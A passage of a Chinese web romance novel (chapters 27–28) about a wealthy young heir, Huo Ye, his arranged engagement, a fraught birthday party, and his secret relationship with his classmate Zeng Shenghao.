苏姿对赵茂青说:“她拿了我私家侦探六千块钱,透漏给他一些原本你们整个金融系就知道的事儿,后来我侦探反应过来被她骗了,跑去找她要钱,她不给,说有买有卖。” 见赵茂青脸色逐渐变得阴沉,苏姿懒洋洋地拢了下头发,扭头冲女朋友微笑:“妹妹,那六千最后还是我帮你垫上的呢,不谢谢我么?” 女朋友吓得浑身哆嗦,忍不住抬头望着赵茂青,哀求道:“茂青哥,我错了……” 赵茂青盛怒之下,更十分不理解:“就六千块!六千!你很缺钱吗?那我之前给你的那些卡怎么不要?!” 女朋友委屈地“哇”地一声哭出来:“因为我爱你啊……我好爱你呜呜呜……我不想让你觉得我是那种不好的女生,但是我、我又想配得上你……我想买很多漂亮的新衣服,想让你每天都喜欢我、围着我转……” 赵茂青被说得心烦意乱。 赵寻山不耐烦地冲这边吼:“吵吵什么,老子生日大喜的日子,要哭滚出去哭!” 于是心软的赵茂青就领着女朋友滚去露台哭了。 霍晔轻啧一声,就说赵茂青这性格不行,耳根子忒软!人家一哭,他就立马缴械投降了,随便说一句“我爱你”,那小子恨不得趴地上给人家当狗遛,简直是毫无明辨是非的能力! “丢人!”霍晔摇头吃着盘里的蛋糕,“太丢人了!” 同坐在沙发一旁的孙天王麟也看不太惯,凑过霍晔身边叽咕,说他们茂青哥比周幽王还昏庸,费尽心思张罗这么隆重的一场生日趴,全是为了哄女朋友开心,连本集寿星都被他气得窝火,长此以往,可怎么得了?! “再说吧。”霍晔认为点到即止,暂时还不打算管这事。 若是叶婧柠和赵茂青能成,对三方来说都是好事:一对璧人喜结连理,赵、叶两家都欠他一个大人情,所以霍晔绝不会轻易提退婚。 就算真退婚,他肯定也要和别的女人联姻。 过程无所谓,结果都一样。 谁让他爸妈就生了他一个儿子。 霍晔本该有一个弟弟的。 五年前,在他临飞美国的头一晚上,他半夜起床去客厅喝水,不小心听到母亲在卧室的低泣声,和父亲无奈的安慰声。 母亲心疼他年纪小,哭得几乎要断气,她对父亲强调美国治安有多乱,什么枪杀谋杀、抢劫盗窃、种族歧视、语言不通……她不想儿子离开。 “鸿军,我们不要在北京待了好不好?” “我们两个都辞职,带着小晔走得远远的,我们一家人过普通日子不好吗?” 门外霍晔愧疚不已,不禁湿红了眼眶。 他正要推门进去,跟母亲说“你们别担心,是我自己愿意去”,就听他爸温声劝解:“你甘愿过普通日子,咱儿子可不是那种安分孩子,况且这一出闹得连累的岂止是咱们小家,我要是做了甩手掌柜,我那些弟兄们怎么办?还有玉章,他生意做这么大,各方利益盘根错节的,难道就不会受影响吗?” “书斓,你比我有文化,你该明白大局为重。” “况且你刚怀了孩子,等他生出来,咱们再精心培养就是了。” “但是,如果小晔知道了——” “放心,这才三个月大,他看不出来的。” 这几句话不亚于五雷轰顶,吓得霍晔摔瘫在地上,杯中水洒了一地。 霍晔瞬间就明白了,他是以“弃子”的身份出国。 若六个月后,母亲生了个男孩儿,他这一趟大概是有去无回了。 他爸妈听到动静,匆忙慌张跑出来,霍晔心情绝望地坐在湿淋淋的地板上,一见他俩那东窗事发的狼狈样子就忍不住笑,笑着笑着就突然哭得泪流满面。 他仰脸望着满脸歉意的父母,一时间竟再找不到他们爱他的眼神。 “我恨你们。” “祝你们早生贵子。” 落地美国后,霍晔一直都在自我宽慰。 父母对他是同性恋这件事失望至极,他同样对父母的背叛感到绝望。 所以没什么好难过的。 他妈每天疯狂地给他打电话,霍晔一个都没接,他爸联系留学中介,让美国这边的代理人警告他再敢不接电话,他就断他的生活费! 霍晔让人转告他爸,说随便,反正你们本来就打算让我死在外头。 他爸一听这话根本受不住,大笔大笔的钱给他打了过来,千叮咛万嘱咐,让他吃饱穿暖好好生活,不要再像在国内一样到处惹事。 两口子职业特殊,无法出国,霍晔态度冷淡,他爸妈也无可奈何。 直到某天,那个代理人再一次找上门,她告诉他,他父母把那个小弟弟打掉了。 “孩子,你爸妈说他们要你,让你在这边好好学习,过几年等风头过去了他们就接你回去。” 霍晔愣在原地,喉咙仿佛被一双罪恶的双手紧紧扼住,掐得他无法呼吸。 他根本无法承受那份生命的重量,他惊惶失措到恐惧流泪,他并不对父母的补偿感到丝毫愧疚,他只是无法原谅自己。 霍晔连续做了两周的噩梦,最后决定扮演父母听话懂事的乖儿子。 父母让他好好学习,他初来乍到就算语言不通,也要一口气雇六个家教老师恶补功课,每次考试拿满科A+; 父母安排他接叔叔的班,他也毫无怨言弃政从商,稳扎稳打从基层做起,17岁的年纪堪比27岁的老练,背地埋头苦干却习惯在表面故作轻松,只为赢得所有人一句“天资聪颖”; 父母安排他联姻,他就联姻。 他并不看重对象是谁,只要家人满意就好。 霍晔甚至考虑过,若将来某天他爸妈老糊涂了,和别家老头老太太似的,跟他念叨一句“想抱孙子”,他也会毫不犹豫地去尝试着爱一个女人。 哪怕去精神病院吃药打针、哪怕要他接受催眠或者电击治疗,他也会用尽手段把自己掰直。 他要像叔叔一样,用尽一生来服务于这个对他恩重如山的家。 耳畔,孙天王麟还在一个劲儿给霍晔剖析自家茂青哥踩了火坑,说当局者迷,他们旁观者清,这女的根本瞧不上那几张卡,她看上的是赵茂青的身份! “她想做未来的赵太太!” 霍晔不置可否,他们这些人和外部人员谈恋爱,人家谁不是冲着他们身份来的? 曾盛豪不是么? 切! 管他什么目的,自个儿喜欢不就得了,反正又不和他结婚。 霍晔兀自倒酒不停喝着。 下一秒,透过威士忌倒满的玻璃杯,茶几对面踱步过来两条腿。 是那种很讨人嫌的腿。 傅崇义缓缓俯下身,双手撑在桌沿,冲霍晔笑得一脸温柔。 “霍老弟最近上班变穷了,连几瓶香水都买不起了?” 霍晔也笑,不待他开口,傅崇义又不遗余力地攻击苏姿: “这女的哪来的?穿得跟个民国姨太太似的,回头婧柠知道了,不得赏她两巴掌?” 苏姿瞪他:“有病吧你!我不是小三儿!” 傅崇义“哟”一声,用一种打量玩物似的挑剔目光上下打量她,嫌弃道:“还小三儿呢,小六儿都轮不上你。” 苏姿气得胸口起伏,扭头去晃霍晔胳膊:“这小子是你朋友?你看他怎么跟我说话的!” 霍晔被她推得东倒西歪,不禁哈哈大笑起来。 傅崇义挑了下眉,瞧着死娘炮这反应不对,哪像上回领出来的那个男生似的紧张维护? 一下子又觉得很没意思。 偏头一瞥,瞅见角落一个正埋头写作业的小鬼,傅崇义皱起眉,还没张口训斥这小子怎么又混进来了,他今晚带来的女伴儿走过来挽他手臂,笑道:“崇义,你陪我去唱歌吧。” 这次是正经派对,赵家亲哥俩的场子,连霍晔都领的女朋友,否则一堆衣衫不整的gay闹得满场乌烟瘴气的,哪里像话? 傅崇义便装作没看见小鬼,转身和女伴儿去唱歌了。 叶泽之心有不甘,猛地抬头,冲人背影张口就喊:“崇——” 霍晔一把伸手将他嘴捂住,眼神示意孙天王麟两个帮他收拾书包。 “衣服也换了,蛋糕也吃了,饮料也喝了,赶紧回家睡觉去!” 不待叶泽之再恳求他,孙天背着书包,王麟提溜小鸡似的,单手就把他给提溜走了。 苏姿就好奇问霍晔:“这小孩儿是谁啊?他姐姐是你女朋友?” 霍晔漫不经心地靠在沙发背上:“这是小五儿才能问的问题。” 苏姿脸色一下子就紫了,愤声道:“你和你那个朋友都一样,你们都有病!” 霍晔笑容可掬:“谢谢夸奖。” 赵寻山请假时间就到晚上九点钟,临走前他向众人打招呼,说自己不得不先走,让他们放松玩儿。 一众男女赶忙都涌过来送他,赵茂青女朋友积极走上前,又笑声喊他:“哥,路上开车慢点儿。” 赵寻山没应,只冷眼瞥向弟弟:“年纪不小了,长点儿脑子。” 赵茂青无奈一笑,只说“我心里有数”,目送哥哥推门离开了。 在场众人都看出来了,赵寻山这就是不承认的意思。 赵家未来继承人公然摆冷脸,那她就是一个上不得台面的路人甲乙丙。 于是剩下诸人,再没一个人半开玩笑地喊她嫂子或者弟妹,连名字都不喊,张口闭口就是“那个谁”,把赵茂青女朋友给气跑了。 苏姿觉得那妹妹有点可怜,小声跟霍晔讲:“你们这群人真是无情。” 霍晔就笑:“你心疼她,那你就去追她呗!” “滚!”苏姿皱眉道,“你恶心不恶心啊!” 霍晔笑意敛起,淡淡瞥她一眼,问:“什么?” 苏姿莫名吓得心脏一沉,她不懂自己哪里说错了话,只匆忙道:“我、我开玩笑的……” 霍晔就没再搭理她。 酒过三巡,众人都玩够了,以赵、傅、霍三人为中心,其他人分散围坐在沙发上谈论起国家大事和政策新规。他们惯例分析一通当今局势,又分别聊起自己最近在干什么,想创业的、要当兵的、准备结婚的、打算移民的、也有和邵小军一样,在家里公司轮岗要做接班人的。 一众 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霍晔丝毫不给面子:“受不了就走呗,我哥儿几个平时就爱抽两口,惯的你。” 苏姿瞬间就委屈起来,委屈没两秒,立马又开始愤怒。 她威胁道:“你等着,明天我就去集团曝光你!” 霍晔瞥她:“我让你当我女朋友,你当得了么?” 苏姿愣了下,以为霍晔对她有几分意思,还没来得及高兴,沙发对面一个公子哥儿就笑起来,吊儿郎当地问: “霍少,这妞儿谁啊?这么不懂事儿?” 大家都知道霍晔是纯gay,还有个关系不错的正宫娘娘叶婧柠,本来就对这来路不明的女人身份暧昧不清,眼下见霍晔对她这样的冷淡态度,一帮纨绔们骨子里的劣性基因发作,全都对她群起而攻之。 “咱哥几个说事儿,哪轮得到她说话?” “那会儿我从窗户往下瞧,她和咱霍少打的两把伞呢!” “哟!稀罕!” “诶,姑娘,”一人调笑着逗她,“穿得不赖啊,您从哪儿攀上的我们霍少啊?” 众人你一言我一语,说群口相声似的,完全不给苏姿反驳余地,全都哄堂大笑起来。 苏姿打小蜜罐儿里溺爱出来的公主,哪里受过这种委屈? 她红着眼眶瞪向霍晔,十分不理解他的懦弱,皱眉道:“我可是你带来的,你都不管管?!” “管什么?”霍晔痞里痞气地冲她笑,“这都是我哥们儿,跟你开几句玩笑咋啦?你要当人家弟妹,现在就得喊他们兄弟!” “我去你大爷的兄弟!” 苏姿忍无可忍,立马踩着高跟站起身。她愤怒至极,一边强忍着不要掉眼泪,一边毫无章法地甩着她香奈儿的链条包,将面前摆满名贵酒瓶、堆成山高的礼物盒、和好几个根本轮不上拆封的生日蛋糕的大型酒桌,噼里啪啦全砸得稀巴烂! 然后在众人愕然懵逼的注视下,她呼哧呼哧地喘着气,骂了句“你们都是混账!畜生!”,转身“砰”一声重重摔门离去。 “卧槽……”鸦雀无声的大厅,有人不禁轻轻发出了一声感慨。 傅崇义旁观半天好戏,待人一走,爽声笑个不停。 他饶有兴致地问霍晔:“哪儿找的,这么烈?” 霍晔这下扫清障碍了,蛮舒服地伸展着懒腰,懒洋洋道:“你敢动她,我不介意每晚领着那谁上你会所唱歌去。” 傅崇义瞬间变了脸色。 众人一头雾水地望着他俩,霍晔为他保留了几分余地,他便也不好冲人发作。 “他小,”他沉眉望着霍晔,“你别把他搅和进来。” “行啊,”霍晔冲他笑,“公平起见,你也得帮我保一个人。” “呵,”傅崇义对霍晔泛滥的圣母心十分不屑,“一个女人而已,用得着你这么上赶着么?” “动动你的猪脑子,你就该明白我说的不是她。” “……”傅崇义正要发火,对面霍晔态度嚣张地竖起一个剪刀手,冲他比了个耶。 “耶”同“叶”。 傅崇义气笑了,袖下拳头倏地攥紧,一双凶残野兽般的双眼紧盯着霍晔那张欠揍的娘炮脸,片刻过后,他又无奈松开。 脑子里一晃而过那个斯文男生的模样,心想,那小子除了气质出众,看起来很有教养的样子,平时换个口味玩玩还行,哪里值得他傅家专门为他保驾护航? 一边在心里嫌弃霍晔没见过世面,一边不耐烦答应道:“知道了。” 霍、傅两人就这么意外地掌握了仇家的弱点,然后意外地和彼此形成了奇妙的平衡。 众人见这俩人你来我往地说着暗语,也不敢多问,只有赵茂青私下打听:“你俩刚才啥意思?” 霍晔也小声说:“傅崇义这下恐怕真的要爱上我了。” 赵茂青瞠目:“真假?” 傅崇义耳朵灵敏,简直听不得一点霍晔胡说八道,当下室内狼藉一片,废墟似的,他直接领着几个人走了。 其他人也没有要留下打扫卫生的意思,纷纷起身和赵茂青告辞走人。 霍晔瞧着时间差不多了,也起身告辞。 他给赵茂青撂下一张卡,说苏姿今晚砸的全算他的,赵茂青有点生气,二话不说把卡又塞回他衣兜里,不理解霍晔怎么突然又和他见外? 霍晔瞥他一眼:“赶紧把你手绳扯了,否则以后咱俩兄弟没得做了。” 赵茂青笑了声,说:“你误会了,我是有女朋友的人。” 霍晔懒得跟他扯犊子,撂下一句“你自个儿看着办吧”,转身出门下楼。 马上十一点了,他家宝贝儿该下晚课了。 曾盛豪貌似怕自己累不死,这学期又在校外新学一门意大利语,于是每周二、周四和周六晚上都会赶不上宿舍宵禁,只能去外面住酒店。 霍晔不太理解一场歌剧而已,曾盛豪怎么会被刺激成这样? 下学期校内课程加倍,曾盛豪在外面学一门阿语已经够紧张了,眼下又抽出晚上时间再学一门,同阶段还要准备一个国级辩论赛,老实说,霍晔有点心疼他辛苦。 但曾盛豪不听劝,执拗要学,且风雨无阻,霍晔就让龙溪每周这三天去接人下课。 偶尔霍晔公司不加班了,他也会亲自开车去接,陪曾盛豪在酒店腻歪一晚。 霍晔有天让曾盛豪二选一,问他更喜欢哪门新学的小语种? 曾盛豪想也不想,说,比起每周三天下午的阿语课,他更期待每周三天晚间的意大利语课。 霍晔挑眉:“为啥?更简单吗?” 曾盛豪目光幽幽地看着他:“因为有时候你会来。” 霍晔听得心魂飘荡陶醉不已,又觉得他家含蓄的宝贝很可爱。 意大利语课和阿语课在同一家机构,占据整座商城大厦的顶楼,夜间十一点,商城好几家餐厅的灯牌还亮着,偌大广场上行人稀疏,不时疾步快走过几个背着电脑包的上班族。 雨停了,地面湿漉,空气中吹拂过一阵腥草气味。龙溪将车开到路边老地方,将四面车窗缓缓降下,给车内透气。 他扭头对霍晔说:“你买这么多香水放车里,不熏得慌吗?” 霍晔正要答,余光一瞥,曾盛豪背着书包走出商城,一身干净清爽的白T格子衫运动裤,目的明确地朝这边走来。 璨亮路灯下,二人视线相撞,霍晔笑勾着眼角,抬手飞过去一个吻。 对面男生嘴角不禁抿着笑起来,立刻一路飞步小跑着过来。 霍晔简直爱得不行,立马推门跳下车,冲人喊了声“盛豪哥”,然后张臂要抱。 尽管霍晔说过无数次把龙溪当空气人就行,曾盛豪仍然不太习惯在外人眼皮子底下和霍晔做一些亲昵的举动。 他拒绝道:“等下去酒店再抱吧。” 霍晔不太乐意,瞪他:“有我呢,你怕什么?你到底是不是真的喜欢我?” 曾盛豪瞄着他一身风骚的深紫西装,视线落在他衬衫领口间露出的白皙锁骨,凑近小声说:“小晔,你今天真好看,我想亲你了。” 霍晔脸上一红,莫名其妙就被对方这么一句傻了吧唧的话给打败了。 俩人氛围暧昧地坐上车后座,明明手都没牵,彼此间涌动的电流却胜似十万伏特高压,闪得前排龙溪都不觉得自个儿是电灯泡了。 霍晔并非师从禁欲派,憋不过三秒,就要去摸身旁帅哥大腿。 然而手还没碰到对方,曾盛豪突然触电似的弹起来,二话不说就冷着脸摔门下车。 霍晔吓一跳,忙追下车拽人手腕:“怎么了啊?!不走吗?” 曾盛豪甩开他手,瞪他:“你车上有脂粉味!你让别的女人坐你的车!” 霍晔便笑:“那是香水味儿。” 说着,示意龙溪打开后备箱,给对方展示他新买的二十瓶香水。 “不是香水,”曾盛豪根本不吃他这套,“是粉底液,高级香掺杂着颗粒感,但不是婧柠姐的粉底。” 霍晔恼了:“你吃饱了撑的闻婧柠干什么?!” 曾盛豪冷呵一声,自顾自走去三十米外,拦手打出租。 霍晔见势又眼巴巴凑过去,好言解释:“宝贝儿你别生气,今晚有个场子,我和公司一老总闺女作伴过去的,我俩纯公事方面的关系。” 曾盛豪面无表情:“你这时候才解释,做、贼、心、虚。” 霍晔就去牵他手,轻声问:“那你不信我?我喜欢男人的,像你这样帅的男人。” “我知道,”曾盛豪瞥他,“我就是不愿坐那辆车,不行么?” “行!没问题!反正那辆破车也没什么好坐的!”霍晔见人消气了,忙不迭点头。 他招手示意龙溪先回,自己则留在原地陪曾盛豪等车。 没两分钟,一辆空车缓缓停靠过来。 那司机自动忽略掉背书包的,冲穿西装的人笑喊:“帅哥,上车吧!” 霍晔充分发挥绅士精神,抬手挡在车檐,弯腰帮他家大少爷开门。 大少爷很自觉地挪着身子去车座里侧,见霍晔撅着屁股坐进来,提醒道:“把你衬衫领扣系好。” 霍晔有些为难:“人家就是这么设计的,全系好会勒脖子。” 曾盛豪更失落:“我送你的观音,你都没戴。” 霍晔一边急忙系领扣,一边哄着:“嗐,那地方乌烟瘴气的,我怕糟蹋了你的好东西,回去洗完澡我就戴!” 司机问去哪儿,霍晔报了他公寓住宅的地址,曾盛豪本想发表抗议言论,但又不愿让司机看出两人端倪,便安静地掏出手机戴上耳机,闭眼靠在座椅上听BBC。 霍晔见身旁人一脸疲态还要坚持练英听,一时心疼又敬佩。 他犹豫半天,刚到嘴边的那句“你那观音我其实不太想要,要不明早你从我家拿走吧”还没说出来,正被他敬佩着的人忽然身子一软,歪头倒在他肩膀上睡着了。 霍晔叹了口气,好容易鼓起的勇气又消失得无影无踪。 他帮人摘下耳机,关掉新闻,小心翼翼地将对方揽入怀里,好让曾盛豪睡得舒服。 司机见后视镜俩人这般亲密,便笑问:“你朋友困了?” “不是朋友,”霍晔也笑,“他是我弟,亲弟,我接他下辅导班。” 司机恍然“哦”一声,感慨道:“高中生吧?这年头孩子补课真辛苦啊!” 霍晔垂眸打量着怀里人安详恬静的睡脸,心底忽觉一阵凄凉。 这是从未有过的感觉—— 一想到两人注定要分开,他整个胸腔就莫名涌动起悲伤。 “我还说你傻,”他闭眼在人耳畔叹息,“明明是我更傻……” 27.第二十七章 霍晔原本只想和曾盛豪谈一场按部就班的恋爱,做几次按部就班的爱,然后和对方按部就班的说分手,曾盛豪每次都能戳穿他意图,死活不给他碰,霍晔吃不着肉气得牙根儿痒痒,于是和对方这黏得发腻的关系就这么一直拖延下来。 霍晔心里很没底,反复提醒曾盛豪俩人之间只是玩玩,他们不可能发生爱情,曾盛豪一脸气定神闲地说“好”,还像个老头子一样,安慰他:“放宽心,别紧张。” 但是曾盛豪偶尔会装作不经意地询问他,最近叶婧柠和赵茂青两个人发展得怎么样了?霍晔就陪着他演,说那俩人纯朋友关系,让他少八卦。曾盛豪便失望地“哦”一声,看得霍晔一颗心软软的,恨不得立马跟家里人说他想撂挑子不干了,然后拽着曾盛豪去美国领证结婚定居算了。 然而他做不来。 他曾经任性妄为的恶果早就足够他承受一辈子了。 “即便没有婧柠,也会有别的女人”这句话,霍晔无论如何都讲不出口,他不忍打破曾盛豪天真烂漫的幻想,他心疼这个大傻蛋。 霍晔自己年纪也小,曾盛豪刚过完年就在家人陪伴下度过美好的十九岁生日了,他还停留在十七岁,等满十八岁时,他会和婧柠正式订婚,在此之前,霍晔只想稀里糊涂地和曾盛豪享受纯粹的二人世界。 曾盛豪很抗拒霍晔把他领到公寓住,对于这个只有霍晔熟悉的私宅小窝,他总觉得霍晔会千方百计地使坏睡了他,然后头也不回地提裤子走人。 俩人在酒店就不会有这种顾虑,因为曾盛豪会吓唬霍晔屋里有坏人安装的摄像头,霍晔就说害怕,小猫似的蜷缩进他怀里,让曾盛豪给他现编几个睡前故事,要求全英讲,且不能讲没两句就突然扑上来啃他脸。 关于第二个要求,曾盛豪至今难以办到。 俩人到家快十二点了,曾盛豪下出租时被雨后冷风一吹,立马清醒过来。 霍晔在玄关处弯腰换鞋,曾盛豪从身后抱住他,埋头道:“小晔,想亲。” 霍晔嫌自己身上烟酒气太浓,扭头道:“等洗完澡吧。” 曾盛豪不愿撒手,缠着他说:“你嘴唇是甜的。” “哦,我吃蛋糕了。”霍晔笑。 曾盛豪生日是在家过的,霍晔中午忙完工作,微信给他发了个9999的“祝宝贝儿生日快乐”转账,夜里架起摄像机,上身裸着戴一条火彩斑斓的钻石胸链,下身摇摆着臀后粗大毛绒的狐狸尾巴,张腿在床上给曾盛豪拍了几张漏点的情趣照供人欣赏。 曾盛豪也没跟他客气,收了钱,挺官方地给他发来一句“谢谢”,不知道是谢他的转账,还是谢他的骚照。 两人忘情地激吻着,彼此长腿交缠相抵,一不留意绊倒进沙发里。 …… …… 曾盛豪被这些大尺度的荤话刺激得神经疯狂发颤,他埋头把怀里人两边胸口亲肿了,又爬上来亲人嘴,嘴唇也肿了,又继续绕着对方眉毛眼睛鼻子啄个不停,直到霍晔泛红着眼眶,满眼怨恨又委屈地瞪着他,曾盛豪心底一软,强行克制住粗鲁。 “小晔,宝贝,”曾盛豪掌心抚摸着他红潮未褪的脸,“我想娶你。” 霍晔心里有气,正抬膝盖瞄准着人裤|裆,势必要把曾盛豪这畜生撞到断子绝孙,一听这话又愣,皱眉道:“说什么疯话?我已经有要娶的人了。” 曾盛豪自动开启耳聋模式,认真盯着他:“霍晔,我要娶你。” 霍晔一见他这老顽固德行就有些心累,没奈何道:“咱俩都是男的,你娶个屁啊?” 曾盛豪执拗道:“你刚才都喊我老公了。” 霍晔气得直笑:“大哥,那是情|趣,不是真的让你当老公的意思。” 曾盛豪又聋,埋头钻进对方裸露喷香的肩窝里,轻声找他商量:“小晔,我娶你好不好?你不是喜欢男人么?我现在很成熟了,不会让你失望的。” 霍晔板起脸:“曾盛豪,你言而无信,咱们说好就是玩玩的。” 曾盛豪撒娇似的不停蹭他脖颈:“小晔……小晔……” 霍晔不禁又心软,翻身将人搂进怀里,哄道:“别闹了,你是还没缓过劲儿来呢吧?等会儿鸡儿下去了就好了,乖啊。” 曾盛豪不甘心又无可奈何。 一想到今晚车内的脂粉香,他猛然就意识到一个残酷的现实——即便没有叶婧柠,霍晔也会和别的女人结婚。 他不懂该再怎么做,他只是很生气,霍晔对他讲的那些不负责任的情话,字字句句都镂在他心底,给予他几缕缥缈的希望,让他明知不可能还试图为之。 “霍晔,如果我不走仕途了,”曾盛豪试探道,“你会不会也——” “我会一脚把你踹了,”霍晔打断道,“然后再另找一个配得上我的。” 曾盛豪便缄默,半晌,点头道:“懂了。” “曾盛豪。” “嗯。” “别再犯浑说这种话,别让我心烦,我们就简简单单的,要么你就滚蛋。” “好。” ** 那晚二人同床异梦,连被子都是分开盖的,霍晔清早迷迷糊糊地翻身抱人,没曾想扑了个空,身旁被窝早凉透了。 后来阿姨跟他讲,她六点在厨房煮早饭,正好撞上曾盛豪背书包离开,那小子挺懂事儿,一脸谦逊地冲她点头问候,说他是来借宿的,霍晔昨晚喝不少酒,让她帮忙煮碗醒酒汤。 阿姨眼尖,看出曾盛豪一身从里到外穿的全是霍晔橱柜里的衣服,想起上次那套比霍晔裤腿略长的高定西装,她连忙掏出餐盒和便当包,按照霍晔的饭量,给他装了两个鸡蛋、一根玉米、半份青菜、半条清蒸鲈鱼和一盒八宝粥带走了。 她对霍晔讲:“那男孩儿挺讨喜的,有礼数,看着也聪明。” 霍晔点点头,干脆把人介绍给她:“那是我男朋友,你喊他小曾就行了,他害羞,你别对外宣扬。” 阿姨忙笑着“诶”了声,终于把忍在嘴边好半天那句“你们真是般配啊!”赞叹出来。 霍晔以为曾盛豪都乐意帮他煮醒酒汤了,按理关于“嫁娶事件”就该过去了,谁料大少爷难哄,一连好几周都在跟他闹脾气。 上课不挨着他坐,下课装聋作哑不理他,霍晔这学期心疼曾盛豪辛苦,没舍得让对方再帮他做作业,否则那小子指定又要当众搞他。 龙溪惯例在有意大利语课的晚上开车去接人,曾盛豪每次都态度礼貌地拒绝,然后转身去打出租。 龙溪就不爽了,跑来找霍晔控诉:“他又不是没我电话,不想坐车给我说一声就成了,这老故意折腾我是几个意思啊?!” 霍晔最近工作忙,没空亲自去接人,撂话让龙溪继续受着。 霍晔心里也烦,犹豫着要不就算了,他又不是非馋这口肉,况且曾盛豪有啥好的?无非就是脸帅腿长胸大屁股翘,知书达理脑子好,一身冰清玉洁的硬骨头,完全出水芙蓉的男仙子,每次笑起来时,那股子直男娇羞劲儿像朵初春雏菊似的招人稀罕,眼眶泛红时,那一脸委屈的小媳妇样儿就更惹得他心脏狂跳下腹喷火……除此之外,没什么特别。 但转念一想,曾盛豪这阵子都快把他吃干抹净了,倒成天把自己捂得跟个粽子似的,他霍晔从头到尾连口咪咪都没啃上,这像话么? 劳动节这天周五,校内放假,机构和公司调休,每个人都有空。 霍晔本来打算拽着曾盛豪去约会爬长城,上下山都不坐缆车的那种,等把人累个半死,曾盛豪就没功夫跟他耍少爷脾气了。江箫跟霍晔说够呛,曾盛豪托他帮忙申请了间小教室,今天一整天都要参加社团活动。 “谁放假还参加社团活动?” 霍晔诧异,他都不知道曾盛豪整天忙得跟陀螺似的,居然还有闲情逸致参加社团活动呢? 霍晔好奇问:“他是社长?咋还亲自申请教室?” 江箫笑:“大一都快上完了,他第二课堂至今还是零分儿呢,趁着放假,他要写几张作品参加书画社即将举办的书法比赛,他怕会有上自习的人闯进他地盘吵他,就想一个人霸占一整间屋,反正这两天放假空教室多,我就给他弄了一个。” 霍晔“哦”了声,找江箫要了教室的地址,拔腿就去逮人。 走没两步,他又倒回来问:“上回托你办的事儿,你搞定没?” 江箫冲他比了个OK的手势:“妥妥的。” 霍晔笑眯眯冲人捏了个心:“爱你!” 他们609宿舍作为M大风云人物F4,幺鸡酷,江箫痞,霍晔靓,每个都帅得太典型,无论走哪儿都跟明星似的夺目耀眼,只有曾盛豪斯文儒雅,书卷气浓,气场温润和缓,看起来最容易被人家骗上手。 四人身高腿长颜值高,风格各异又都爱干净打扮,去食堂打 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当然,霍晔也绝无可能会对他讲。 那晚宿舍都快熄灯了,表白墙又有人捞他,幺鸡躺在上铺,兴致高涨地喊了一声“老二,今天又加一票!”,曾盛豪在桌前翻着书页,头也不抬道:“要是对方又要联系方式,你们就给吧,正好我也想谈个女朋友了。” 幺鸡和江箫不可置信腾地一下跳起来,询问他从今往后还想不想过安生日子了? “要是霍晔知道了,那不得闹得鸡飞狗跳?!” 霍晔深夜两点钟还在公司加班,窗外夜色深浓,他打着哈欠刷手机提神,看到幺鸡居然敢把曾盛豪的手机号码给出去,直接打电话把人吵醒,问这只鸡今天吃了几斤熊心豹子胆? 幺鸡先是骂骂咧咧冲他发一通起床气,然后原封不动把曾盛豪的话给他讲了。 霍晔又沉默。 沉默过后,立马化身激情键盘侠,在表白墙上公开造谣: 外院某186的六国语言禁欲男,看似清爽可人,实则在宿舍邋里邋遢不洗头也不洗脚,一个月的脏衣服轮流穿,穿酸臭了才混着内裤袜子一起洗,身上的黑泥都能搓出一整盆的伸腿瞪眼丸,连路边狗见了他都要臭退二百米! 此话一出,路人女生能不能听懂不清楚,反正他们院里的女生见了曾盛豪都默默集体绕到走。 曾盛豪对此事的态度是:无喜无悲无表情,不羞不恼不搭理。 霍晔对这块冷心冷情的石头彻底没招了,只好让江箫再告诉一声那表白墙同学,以后也不许放曾盛豪的表白信息。 江箫被逗得嘎嘎直乐,又把霍晔之前劝告过他的那堆“福气”啊、“心胸”啊、“大老爷们别上纲上线”啊,原封不动一字不差全还给了他。 霍晔一边觉得自己命苦,一边攥着那块儿比他送曾盛豪的手表还要贵重的羊脂玉观音去找曾盛豪道歉。 虽然没搞懂明明是曾盛豪不遵守承诺非要娶他,他霍晔现在要道哪门子的歉?但—— 既然大少爷生气了,他先道歉了再说。 霍晔下定决心,如果今天曾盛豪接受他的道歉,他就假装无事发生继续和人约会亲嘴儿谈恋爱;要是那不识相的臭小子还敢给他摆臭脸,他就当着曾盛豪的面儿,把这条价值不菲的观音吊坠给一拳砸碎,让那臭小子也知道知道,什么是真正的公子哥儿脾气! 霍晔个子高,年后又猛窜了五公分,他抬着下巴,探寻的视线透过教室门的玻璃小窗,打量着室内那位浑身散发着艺术气息的俊逸男生。 M大教室大部分偏老旧了,这间教室的灯光墙面都发黄,据说讲台课桌是上世纪末遗留的老古董了。 第一排桌面最宽敞,中间摆满了笔墨纸砚,左手边摞着几本字帖,一位年轻的老古董正弯腰埋头拿着毛笔,全神贯注地临摹着唐寅的《落花诗》,似乎察觉到有人在看他,他耐着性子写完最后一行字,缓缓抬眼望过来。 那是一双永远清灵澄澈的眼眸,即使内心惊涛骇浪,眸光也仿佛明镜止水。 曾盛豪视线一触即离,兀自低头重新铺纸调墨,假装没看到他。 霍晔不动声色地将玉坠收好揣回兜里,缓缓推门踱步进去,笑道: “盛豪哥,忙着呢?” “嘿,说来奇怪,我今儿怎么突然发现你又帅了几个度呢?” 28.第二十八章 霍晔绕过讲台,一屁股就坐在满桌笔墨纸砚的旁边。 他随手翻了翻那堆字帖,什么王羲之、褚遂良、柳公权、赵孟頫、颜真卿……余光一瞥,见砚台旁那叠漂亮的半熟宣,没忍住伸手摸了摸。 曾盛豪见霍晔摸他纸,不禁皱眉瞅他一眼。 霍晔便识相抽回手,勾着眼冲旁边人笑:“哟,还是泾县非遗的好纸,不愧是少爷!” 曾盛豪本想装聋作哑不理他,见霍晔居然挺识货,没忍住问:“你也练过?” 霍晔就笑:“我外公是邻省书协主席,我妈是他的关门大弟子,我家墙上挂的都是他俩的字画。” 曾盛豪挺扫兴地“哦”一声,埋头继续练他的《落花诗》。 霍晔探头就瞅他练,目不转睛观赏了一会儿,没忍住提建议: “你怎么写唐伯虎,这要参赛的话不太能拿高分吧?他们都有评分标准的,你还是写欧颜柳赵更稳妥。” 唐伯虎是天赋型书法家,字迹个性风流,才气逼人,更偏文人趣味,闲暇赏玩尚可,但既然是比赛,评委会更注重笔者的法度功力和传统根基,曾盛豪要想拿第一名,最好首选从小稳扎稳打练过的贴。 最主要一个原因,不是随便一个人都能完美复刻唐伯虎的空灵潇洒,常人笔尖流转,多是照葫芦画瓢,稍不注意就写软、写瘫,即便爱好者内心渴望贴近唐伯虎的风流才气,最终却往往献丑。 曾盛豪是有十足的笔力,但这显然不是他经常练的贴,霍晔一眼就瞧出来,满篇字句存在个别差错,虽说白玉微瑕,但也无法称之为一部好的作品。 